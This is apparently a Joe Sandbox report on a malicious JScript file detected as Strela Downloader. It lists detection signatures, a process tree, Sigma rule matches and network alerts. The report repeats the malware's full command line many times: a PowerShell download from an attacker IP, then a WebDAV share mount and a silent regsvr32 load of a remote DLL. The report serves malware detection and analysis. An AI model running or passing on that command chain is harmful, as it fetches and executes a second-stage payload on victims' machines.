Edit tour

Windows Analysis Report
12662108703247616042.js

Overview

General Information

Sample name:	12662108703247616042.js
Analysis ID:	1587750
MD5:	101fadf1302f9fc4df2339bbe5d532fe
SHA1:	4c6d4c1adc40a02b0662045764276fc2ecd819a8
SHA256:	fb90109e5e1033c1b535869a2a6d662e5f0d61ca73c717ebb85083b58382d583
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 988 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6548 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2136 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5960 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,11837120087774493213,17159366251961695351,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3768 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2524 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5784 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 988	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2136, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2136, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ProcessId: 988, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2524, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49806

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 988, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 6548, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 988, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 6548, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 988, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 6548, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 988, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 6548, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 988, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 6548, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ProcessId: 988, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2136, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2524, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5784, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2524, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 988, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 6548, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:42:22.262792+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49806	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:42:19.111414+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49784	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 12662108703247616042.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 12662108703247616042.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49806 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:42:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49806

Source: global traffic

TCP traffic: 192.168.2.6:49806 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49784 -> 193.143.1.205:80

Source: global traffic

